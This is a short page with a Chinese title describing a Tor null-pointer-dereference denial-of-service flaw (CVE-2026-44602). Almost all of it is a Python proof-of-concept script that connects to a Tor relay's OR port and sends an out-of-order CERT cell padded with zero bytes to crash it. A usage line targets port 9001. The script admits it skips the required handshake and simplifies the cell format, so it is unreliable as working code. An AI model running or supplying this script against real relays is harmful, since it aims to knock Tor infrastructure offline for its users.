CVE-2026-44602 Tor空指针解引用拒绝服务漏洞

import socket import struct # This is a conceptual PoC. Actual Tor cell construction requires specific protocol knowledge. # CVE-2026-44602: Tor NULL Pointer Dereference via Out-of-order CERT Cell def send_tor_cell(target_ip, target_port): try: # Establish TCP connection to Tor OR port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # In a real exploit, you would need to perform the version negotiation/relay handshake first. # Then send a CERT cell (Circuit ID + Cell Type) in an unexpected order. # Concept: Sending a malformed CERT cell payload # Cell type for CERT is typically 129 (0x81) # This payload attempts to trigger the logic flaw by sending data that forces a NULL read. circuit_id = 0 cell_type = 129 # CERT cell payload = b"\x00" * 509 # Payload length 509 bytes # Construct the cell header (simplified) # Tor uses a specific link protocol versioning, this is a generic representation cell_header = struct.pack("!H", circuit_id) + struct.pack("!B", cell_type) print(f"[*] Sending out-of-order CERT cell to {target_ip}:{target_port}") s.send(cell_header + payload) response = s.recv(1024) print(f"[+] Received response (if any): {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close() # Usage # send_tor_cell("192.168.1.100", 9001)